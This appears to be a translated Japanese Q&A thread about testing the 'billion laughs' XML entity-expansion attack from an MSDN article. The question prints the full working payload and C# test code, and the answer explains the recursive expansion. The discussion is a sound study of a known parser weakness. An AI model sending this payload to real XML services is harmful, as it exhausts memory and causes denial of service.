10

MSDN マガジン ページの XML コードをテストしようとしています。このページでは、次のコード行により、処理時にメモリ使用量が最大 3 GB 増加すると書かれています。

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

そのテキストを Visual Studio の xml ファイルに貼り付けようとすると、実際にメモリと CPU 使用率が増加しました。ただし、XML ファイルの代わりにテキスト ファイルに入れて c# を使用して読み込もうとしても、何の影響もありませんでした。

更新: LoadXml メソッドが影響を与えるはずだと思っていましたが、それは処理部分ではないと思います。MaxCharactersFromEntities最初の子を取得しようとしたとき (つまり c#)、超過したことを示す例外がスローされました。

更新:ここにも私のコードがあります:

using System;
using System.Xml;

namespace BillionLaughsAttack
{
    class Program
    {
        //The file containing the billion laughs mentioned previously
        //a txt file: Since an xml file causes visual studio to parse
        static String xmlFileLocation = "./MyData/DeepXML.txt";

        static void Main(string[] args)
        {
            String xmlContent = null;
            System.IO.StreamReader sr;
            System.Xml.XmlDocument document = new XmlDocument();
            try
            {
                sr = new System.IO.StreamReader(xmlFileLocation);
                xmlContent = sr.ReadToEnd();
                //Load xml containing Billion Laughs Attack (this won't do anything!)
                document.LoadXml(xmlContent);
                //Proces xml by getting first child (this will cause an exception!)
                String val = document.FirstChild.Value;
            }
            catch (Exception e)
            {
                Console.WriteLine(e.Message);
            }
        }
    }
}
4

1 に答える 1

9

この攻撃は、脆弱なXML機能を悪用します。

XML パーサーを介して実行すると、エンティティが再帰的に展開され、大量のメモリが占​​有されます。
プレーンテキストとして読んでも何も起こりません。

于 2013-06-07T20:39:29.697 に答える